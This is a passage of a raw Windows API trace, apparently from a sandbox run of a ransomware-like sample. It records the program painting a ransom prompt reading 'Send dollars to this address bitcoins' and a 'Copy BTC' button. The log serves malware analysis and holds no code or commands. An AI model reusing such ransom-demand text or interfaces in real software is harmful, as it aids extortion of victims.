GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.501] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.501] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.501] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.501] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.501] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.501] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.501] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.501] GetCurrentObject (hdc=0x56010724, type=0x1) returned 0xb00017 [0176.501] GetCurrentObject (hdc=0x56010724, type=0x2) returned 0x900010 [0176.501] GetCurrentObject (hdc=0x56010724, type=0x7) returned 0x8050721 [0176.502] GetCurrentObject (hdc=0x56010724, type=0x6) returned 0x8a01c2 [0176.502] SaveDC (hdc=0x56010724) returned 1 [0176.502] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5f04070e [0176.502] GetClipRgn (hdc=0x56010724, hrgn=0x5f04070e) returned 0 [0176.502] SelectClipRgn (hdc=0x56010724, hrgn=0x290406fe) returned 2 [0176.502] DeleteObject (ho=0x5f04070e) returned 1 [0176.502] DeleteObject (ho=0x290406fe) returned 1 [0176.502] OffsetViewportOrgEx (in: hdc=0x56010724, x=0, y=0, lppt=0x308b274 | out: lppt=0x308b274) returned 1 [0176.502] GetNearestColor (hdc=0x56010724, color=0x323533) returned 0x323533 [0176.502] CreateSolidBrush (color=0x323533) returned 0x7010073a [0176.502] FillRect (hDC=0x56010724, lprc=0x19e7cc, hbr=0x7010073a) returned 1 [0176.502] DeleteObject (ho=0x7010073a) returned 1 [0176.502] RestoreDC (hdc=0x56010724, nSavedDC=-1) returned 1 [0176.502] GdipReleaseDC (graphics=0x6926780, hdc=0x56010724) returned 0x0 [0176.502] GdipRestoreGraphics (graphics=0x6926780, state=0xfcda0dbd) returned 0x0 [0176.502] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.502] GetWindowTextLengthW (hWnd=0x20222) returned 39 [0176.502] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x27 [0176.503] GetSystemMetrics (nIndex=42) returned 0 [0176.503] GetWindowTextW (in: hWnd=0x20222, lpString=0x19e830, nMaxCount=40 | out: lpString="Send dollars to this address bitcoins ") returned 39 [0176.503] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0xd, wParam=0x28, lParam=0x19e830) returned 0x27 [0176.503] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.503] GetCurrentObject (hdc=0x56010724, type=0x1) returned 0xb00017 [0176.503] GetCurrentObject (hdc=0x56010724, type=0x2) returned 0x900010 [0176.503] GetCurrentObject (hdc=0x56010724, type=0x7) returned 0x8050721 [0176.503] GetCurrentObject (hdc=0x56010724, type=0x6) returned 0x8a01c2 [0176.503] SaveDC (hdc=0x56010724) returned 1 [0176.503] GetNearestColor (hdc=0x56010724, color=0x6994f5) returned 0x6994f5 [0176.503] RestoreDC (hdc=0x56010724, nSavedDC=-1) returned 1 [0176.503] GdipReleaseDC (graphics=0x6926780, hdc=0x56010724) returned 0x0 [0176.503] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.504] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.504] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.504] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.504] GetCurrentObject (hdc=0x56010724, type=0x1) returned 0xb00017 [0176.504] GetCurrentObject (hdc=0x56010724, type=0x2) returned 0x900010 [0176.504] GetCurrentObject (hdc=0x56010724, type=0x7) returned 0x8050721 [0176.504] GetCurrentObject (hdc=0x56010724, type=0x6) returned 0x8a01c2 [0176.504] SaveDC (hdc=0x56010724) returned 1 [0176.504] GetTextAlign (hdc=0x56010724) returned 0x0 [0176.504] GetTextColor (hdc=0x56010724) returned 0x0 [0176.504] SetTextColor (hdc=0x56010724, color=0x6994f5) returned 0x0 [0176.504] GetCurrentObject (hdc=0x56010724, type=0x6) returned 0x8a01c2 [0176.504] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.504] SelectObject (hdc=0x56010724, h=0x2a0a0752) returned 0x8a01c2 [0176.504] GetBkMode (hdc=0x56010724) returned 2 [0176.504] SetBkMode (hdc=0x56010724, mode=1) returned 2 [0176.505] DrawTextExW (in: hdc=0x56010724, lpchText="Send dollars to this address bitcoins ", cchText=39, lprc=0x19e708, format=0x100000, lpdtp=0x308b7bc | out: lpchText="Send dollars to this address bitcoins ", lprc=0x19e708) returned 24 [0176.505] RestoreDC (hdc=0x56010724, nSavedDC=-1) returned 1 [0176.505] GdipReleaseDC (graphics=0x6926780, hdc=0x56010724) returned 0x0 [0176.505] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.505] BitBlt (hdc=0x60100ce, x=0, y=0, cx=391, cy=24, hdcSrc=0x56010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.505] GdipReleaseDC (graphics=0x6926780, hdc=0x56010724) returned 0x0 [0176.505] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.505] SelectObject (hdc=0x56010724, h=0x85000f) returned 0x8050721 [0176.505] DeleteDC (hdc=0x56010724) returned 1 [0176.506] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.506] EndPaint (hWnd=0x20222, lpPaint=0x19e8c8) returned 1 [0176.506] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.506] IsWindowUnicode (hWnd=0x20224) returned 1 [0176.506] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.506] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.506] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.506] BeginPaint (in: hWnd=0x20224, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x10105d6 [0176.506] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.506] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.507] CreateCompatibleDC (hdc=0x10105d6) returned 0x59010724 [0176.507] SelectObject (hdc=0x59010724, h=0x8050721) returned 0x85000f [0176.507] GdipCreateFromHDC (hdc=0x59010724, graphics=0x19e920) returned 0x0 [0176.507] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.507] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=46, height=34, combineMode=0x0) returned 0x0 [0176.507] GdipCreateMatrix (matrix=0x19e968) returned 0x0 [0176.507] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.507] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e980) returned 0x0 [0176.507] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.507] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75be8) returned 0x0 [0176.507] LocalFree (hMem=0xf75be8) returned 0x0 [0176.507] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.507] GdipCreateRegion (region=0x19e968) returned 0x0 [0176.507] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.507] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e974) returned 0x0 [0176.507] GdipSaveGraphics (graphics=0x6926780, state=0x19e9a0) returned 0x0 [0176.507] GetWindowTextLengthW (hWnd=0x20224) returned 0 [0176.507] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.508] GetSystemMetrics (nIndex=42) returned 0 [0176.508] GetWindowTextW (in: hWnd=0x20224, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0176.508] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0176.508] GetClientRect (in: hWnd=0x20224, lpRect=0x19e968 | out: lpRect=0x19e968) returned 1 [0176.508] GdipCreateRegion (region=0x19e7bc) returned 0x0 [0176.508] GdipGetClip (graphics=0x6926780, region=0x6926a60) returned 0x0 [0176.508] GdipCreateMatrix (matrix=0x19e7bc) returned 0x0 [0176.508] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.508] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e7d4) returned 0x0 [0176.508] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.508] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.508] LocalFree (hMem=0xf75be8) returned 0x0 [0176.508] GdipCombineRegionRegion (region=0x6926a60, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.508] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.508] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.508] LocalFree (hMem=0xf75be8) returned 0x0 [0176.508] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.508] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7fc) returned 0x0 [0176.508] GdipIsInfiniteRegion (region=0x6926a60, graphics=0x6926780, result=0x19e7ec) returned 0x0 [0176.508] GdipGetRegionHRgn (region=0x6926a60, graphics=0x6926780, hRgn=0x19e7ec) returned 0x0 [0176.508] GdipDeleteRegion (region=0x6926a60) returned 0x0 [0176.508] GdipGetDC (graphics=0x6926780, hdc=0x19e804) returned 0x0 [0176.508] GetCurrentObject (hdc=0x59010724, type=0x1) returned 0xb00017 [0176.509] GetCurrentObject (hdc=0x59010724, type=0x2) returned 0x900010 [0176.509] GetCurrentObject (hdc=0x59010724, type=0x7) returned 0x8050721 [0176.509] GetCurrentObject (hdc=0x59010724, type=0x6) returned 0x8a01c2 [0176.509] SaveDC (hdc=0x59010724) returned 1 [0176.509] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2a0406fe [0176.509] GetClipRgn (hdc=0x59010724, hrgn=0x2a0406fe) returned 0 [0176.509] SelectClipRgn (hdc=0x59010724, hrgn=0x6104070e) returned 2 [0176.509] DeleteObject (ho=0x2a0406fe) returned 1 [0176.509] DeleteObject (ho=0x6104070e) returned 1 [0176.509] OffsetViewportOrgEx (in: hdc=0x59010724, x=0, y=0, lppt=0x308bb00 | out: lppt=0x308bb00) returned 1 [0176.509] GetNearestColor (hdc=0x59010724, color=0x323533) returned 0x323533 [0176.509] CreateSolidBrush (color=0x323533) returned 0x7110073a [0176.509] FillRect (hDC=0x59010724, lprc=0x19e808, hbr=0x7110073a) returned 1 [0176.509] DeleteObject (ho=0x7110073a) returned 1 [0176.509] RestoreDC (hdc=0x59010724, nSavedDC=-1) returned 1 [0176.509] GdipReleaseDC (graphics=0x6926780, hdc=0x59010724) returned 0x0 [0176.509] GdipRestoreGraphics (graphics=0x6926780, state=0xfcd80dbd) returned 0x0 [0176.509] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.510] GetWindowTextLengthW (hWnd=0x20224) returned 0 [0176.510] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.510] GetSystemMetrics (nIndex=42) returned 0 [0176.510] GetWindowTextW (in: hWnd=0x20224, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0176.510] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0176.510] GdipGetImageWidth (image=0x6911d18, width=0x19e83c) returned 0x0 [0176.510] GdipGetImageHeight (image=0x6911d18, height=0x19e83c) returned 0x0 [0176.510] GdipDrawImageRectI (graphics=0x6926780, image=0x6911d18, x=6, y=0, width=34, height=34) returned 0x0 [0176.510] GdipGetDC (graphics=0x6926780, hdc=0x19e960) returned 0x0 [0176.510] BitBlt (hdc=0x10105d6, x=0, y=0, cx=46, cy=34, hdcSrc=0x59010724, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.510] GdipReleaseDC (graphics=0x6926780, hdc=0x59010724) returned 0x0 [0176.510] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.510] SelectObject (hdc=0x59010724, h=0x85000f) returned 0x8050721 [0176.510] DeleteDC (hdc=0x59010724) returned 1 [0176.510] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.510] EndPaint (hWnd=0x20224, lpPaint=0x19e904) returned 1 [0176.511] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.511] IsWindowUnicode (hWnd=0x20226) returned 1 [0176.511] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.511] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.511] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.511] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.511] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.511] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0176.511] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0176.512] GetClientRect (in: hWnd=0x20220, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0176.512] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0176.512] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.512] GetSystemMetrics (nIndex=42) returned 0 [0176.512] GetWindowTextW (in: hWnd=0x20220, lpString=0x19dd8c, nMaxCount=1 | out: lpString="") returned 0 [0176.512] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19dd8c) returned 0x0 [0176.512] GetClientRect (in: hWnd=0x20220, lpRect=0x19ddb4 | out: lpRect=0x19ddb4) returned 1 [0176.512] GetCurrentObject (hdc=0xe01074b, type=0x1) returned 0xb00017 [0176.512] GetCurrentObject (hdc=0xe01074b, type=0x2) returned 0x900010 [0176.512] GetCurrentObject (hdc=0xe01074b, type=0x7) returned 0x3805074a [0176.512] GetCurrentObject (hdc=0xe01074b, type=0x6) returned 0x8a01c2 [0176.512] SaveDC (hdc=0xe01074b) returned 1 [0176.512] GetNearestColor (hdc=0xe01074b, color=0x323533) returned 0x323533 [0176.512] CreateSolidBrush (color=0x323533) returned 0x7210073a [0176.512] FillRect (hDC=0xe01074b, lprc=0x19dc54, hbr=0x7210073a) returned 1 [0176.512] DeleteObject (ho=0x7210073a) returned 1 [0176.512] RestoreDC (hdc=0xe01074b, nSavedDC=-1) returned 1 [0176.513] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0176.513] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.513] GetSystemMetrics (nIndex=42) returned 0 [0176.513] GetWindowTextW (in: hWnd=0x20220, lpString=0x19dd2c, nMaxCount=1 | out: lpString="") returned 0 [0176.513] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19dd2c) returned 0x0 [0176.513] GetClientRect (in: hWnd=0x20220, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0176.513] GetCurrentObject (hdc=0xe01074b, type=0x1) returned 0xb00017 [0176.513] GetCurrentObject (hdc=0xe01074b, type=0x2) returned 0x900010 [0176.513] GetCurrentObject (hdc=0xe01074b, type=0x7) returned 0x3805074a [0176.513] GetCurrentObject (hdc=0xe01074b, type=0x6) returned 0x8a01c2 [0176.513] SaveDC (hdc=0xe01074b) returned 1 [0176.513] GetNearestColor (hdc=0xe01074b, color=0x323533) returned 0x323533 [0176.513] CreateSolidBrush (color=0x323533) returned 0x7310073a [0176.513] FillRect (hDC=0xe01074b, lprc=0x19dbf4, hbr=0x7310073a) returned 1 [0176.513] DeleteObject (ho=0x7310073a) returned 1 [0176.513] RestoreDC (hdc=0xe01074b, nSavedDC=-1) returned 1 [0176.513] GetWindowTextLengthW (hWnd=0x20220) returned 0 [0176.513] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.513] GetSystemMetrics (nIndex=42) returned 0 [0176.513] GetWindowTextW (in: hWnd=0x20220, lpString=0x19dd2c, nMaxCount=1 | out: lpString="") returned 0 [0176.513] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0xd, wParam=0x1, lParam=0x19dd2c) returned 0x0 [0176.514] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0176.514] SetTextColor (hdc=0xf01074b, color=0x0) returned 0x0 [0176.515] SetBkColor (hdc=0xf01074b, color=0xffffff) returned 0xffffff [0176.556] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.556] IsWindowUnicode (hWnd=0x20228) returned 1 [0176.556] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.557] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.557] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.557] BeginPaint (in: hWnd=0x20228, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0176.557] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20228, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.557] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20228, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0176.557] GetStockObject (i=5) returned 0x900015 [0176.557] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.557] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x33010755 [0176.557] SelectObject (hdc=0x33010755, h=0x8050721) returned 0x85000f [0176.557] GdipCreateFromHDC (hdc=0x33010755, graphics=0x19e8d8) returned 0x0 [0176.558] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.558] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=118, height=41, combineMode=0x0) returned 0x0 [0176.558] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0176.558] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.558] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e938) returned 0x0 [0176.558] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.558] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75bb0) returned 0x0 [0176.558] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.558] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.558] GdipCreateRegion (region=0x19e920) returned 0x0 [0176.558] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.558] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e92c) returned 0x0 [0176.558] GdipSaveGraphics (graphics=0x6926780, state=0x19e958) returned 0x0 [0176.558] GdipRestoreGraphics (graphics=0x6926780, state=0xfcd60dbd) returned 0x0 [0176.558] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.558] GdipGetDC (graphics=0x6926780, hdc=0x19e660) returned 0x0 [0176.558] GetCurrentObject (hdc=0x33010755, type=0x1) returned 0xb00017 [0176.558] GetCurrentObject (hdc=0x33010755, type=0x2) returned 0x900010 [0176.558] GetCurrentObject (hdc=0x33010755, type=0x7) returned 0x8050721 [0176.559] GetCurrentObject (hdc=0x33010755, type=0x6) returned 0x8a01c2 [0176.559] SaveDC (hdc=0x33010755) returned 1 [0176.559] GetNearestColor (hdc=0x33010755, color=0x323533) returned 0x323533 [0176.559] GetNearestColor (hdc=0x33010755, color=0x111111) returned 0x111111 [0176.559] GetNearestColor (hdc=0x33010755, color=0x0) returned 0x0 [0176.559] GetNearestColor (hdc=0x33010755, color=0x868c88) returned 0x868c88 [0176.559] GetNearestColor (hdc=0x33010755, color=0x6994f5) returned 0x6994f5 [0176.559] GetNearestColor (hdc=0x33010755, color=0x969c98) returned 0x969c98 [0176.559] GetNearestColor (hdc=0x33010755, color=0x868c88) returned 0x868c88 [0176.559] GetNearestColor (hdc=0x33010755, color=0x3c3f3d) returned 0x3c3f3d [0176.559] GetNearestColor (hdc=0x33010755, color=0x6994f5) returned 0x6994f5 [0176.559] RestoreDC (hdc=0x33010755, nSavedDC=-1) returned 1 [0176.559] GdipReleaseDC (graphics=0x6926780, hdc=0x33010755) returned 0x0 [0176.559] GdipGetImageWidth (image=0x6913c20, width=0x19e6dc) returned 0x0 [0176.559] GdipGetImageHeight (image=0x6913c20, height=0x19e6dc) returned 0x0 [0176.559] GdipGetFamilyName (in: family=0x57faee0, name=0x19e41c, language=0x409 | out: name="Palatino Linotype") returned 0x0 [0176.560] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0176.560] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0176.560] CreateFontIndirectW (lplf=0xeeb228) returned 0x290a0756 [0176.560] CoTaskMemFree (pv=0xeeb228) [0176.560] GetObjectW (in: h=0x290a0756, c=92, pv=0x19e3e0 | out: pv=0x19e3e0) returned 92 [0176.560] DeleteObject (ho=0xb0a0728) returned 1 [0176.560] SelectObject (hdc=0x8e0106dd, h=0x290a0756) returned 0x110a0722 [0176.560] GetMapMode (hdc=0x8e0106dd) returned 1 [0176.560] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e410 | out: lptm=0x19e410) returned 1 [0176.560] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Copy BTC", cchText=8, lprc=0x19e51c, format=0x102416, lpdtp=0x308c604 | out: lpchText="Copy BTC", lprc=0x19e51c) returned 18 [0176.561] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0176.561] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.561] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0176.561] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.561] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e5bc) returned 0x0 [0176.561] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0176.561] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.561] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.562] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0176.562] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.562] LocalFree (hMem=0xf75be8) returned 0x0 [0176.562] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.562] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e5e4) returned 0x0 [0176.562] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e5d4) returned 0x0 [0176.562] GdipGetRegionHRgn (region=0x6923a20, graphics=0x6926780, hRgn=0x19e5d4) returned 0x0 [0176.562] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.562] GdipGetDC (graphics=0x6926780, hdc=0x19e5ec) returned 0x0 [0176.562] GetCurrentObject (hdc=0x33010755, type=0x1) returned 0xb00017 [0176.562] GetCurrentObject (hdc=0x33010755, type=0x2) returned 0x900010 [0176.562] GetCurrentObject (hdc=0x33010755, type=0x7) returned 0x8050721 [0176.562] GetCurrentObject (hdc=0x33010755, type=0x6) returned 0x8a01c2 [0176.562] SaveDC (hdc=0x33010755) returned 1 [0176.562] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6404070e [0176.562] GetClipRgn (hdc=0x33010755, hrgn=0x6404070e) returned 0 [0176.562] SelectClipRgn (hdc=0x33010755, hrgn=0x2f0406fe) returned 2 [0176.562] DeleteObject (ho=0x6404070e) returned 1 [0176.562] DeleteObject (ho=0x2f0406fe) returned 1 [0176.562] OffsetViewportOrgEx (in: hdc=0x33010755, x=0, y=0, lppt=0x308c7f4 | out: lppt=0x308c7f4) returned 1 [0176.563] GetNearestColor (hdc=0x33010755, color=0x323533) returned 0x323533 [0176.563] CreateSolidBrush (color=0x323533) returned 0x7410073a [0176.563] FillRect (hDC=0x33010755, lprc=0x19e5f0, hbr=0x7410073a) returned 1 [0176.563] DeleteObject (ho=0x7410073a) returned 1 [0176.563] RestoreDC (hdc=0x33010755, nSavedDC=-1) returned 1 [0176.563] GdipReleaseDC (graphics=0x6926780, hdc=0x33010755) returned 0x0 [0176.563] GdipCreateRegion (region=0x19e6b4) returned 0x0 [0176.563] GdipGetClip (graphics=0x6926780, region=0x69239f0) returned 0x0 [0176.563] GdipGetImageWidth (image=0x6913c20, width=0x19e6cc) returned 0x0 [0176.563] GdipGetImageHeight (image=0x6913c20, height=0x19e6c0) returned 0x0 [0176.563] GdipDrawImageRectI (graphics=0x6926780, image=0x6913c20, x=6, y=1, width=40, height=40) returned 0x0 [0176.563] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e668) returned 0x0 [0176.563] GdipGetDC (graphics=0x6926780, hdc=0x19e654) returned 0x0 [0176.563] GetCurrentObject (hdc=0x33010755, type=0x1) returned 0xb00017 [0176.563] GetCurrentObject (hdc=0x33010755, type=0x2) returned 0x900010 [0176.563] GetCurrentObject (hdc=0x33010755, type=0x7) returned 0x8050721 [0176.563] GetCurrentObject (hdc=0x33010755, type=0x6) returned 0x8a01c2 [0176.564] SaveDC (hdc=0x33010755) returned 1 [0176.564] GetTextAlign (hdc=0x33010755) returned 0x0 [0176.564] GetTextColor (hdc=0x33010755) returned 0x0 [0176.564] SetTextColor (hdc=0x33010755, color=0x6994f5) returned 0x0 [0176.564] GetCurrentObject (hdc=0x33010755, type=0x6) returned 0x8a01c2 [0176.564] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0176.564] SelectObject (hdc=0x33010755, h=0x290a0756) returned 0x8a01c2 [0176.564] GetBkMode (hdc=0x33010755) returned 2 [0176.564] SetBkMode (hdc=0x33010755, mode=1) returned 2 [0176.564] DrawTextExW (in: hdc=0x33010755, lpchText="Copy BTC", cchText=8, lprc=0x19e484, format=0x102416, lpdtp=0x308cac0 | out: lpchText="Copy BTC", lprc=0x19e484) returned 18 [0176.564] DrawTextExW (in: hdc=0x33010755, lpchText="Copy BTC", cchText=8, lprc=0x19e5e8, format=0x102016, lpdtp=0x308cac0 | out: lpchText="Copy BTC", lprc=0x19e5e8) returned 18 [0176.565] RestoreDC (hdc=0x33010755, nSavedDC=-1) returned 1 [0176.565] GdipReleaseDC (graphics=0x6926780, hdc=0x33010755) returned 0x0 [0176.565] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0176.565] GdipDrawRectangleI (graphics=0x6926780, pen=0x6915e78, x=0, y=0, width=117, height=40) returned 0x0 [0176.565] GdipDeletePen (pen=0x6915e78) returned 0x0 [0176.565] GdipGetDC (graphics=0x6926780, hdc=0x19e918) returned 0x0 [0176.566] GdipReleaseDC (graphics=0x6926780, hdc=0x33010755) returned 0x0 [0176.566] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.566] EndPaint (hWnd=0x20228, lpPaint=0x19e8bc) returned 1 [0176.566] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.566] IsWindowUnicode (hWnd=0x2022a) returned 1 [0176.566] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.566] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.566] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.566] CallWindowProcW 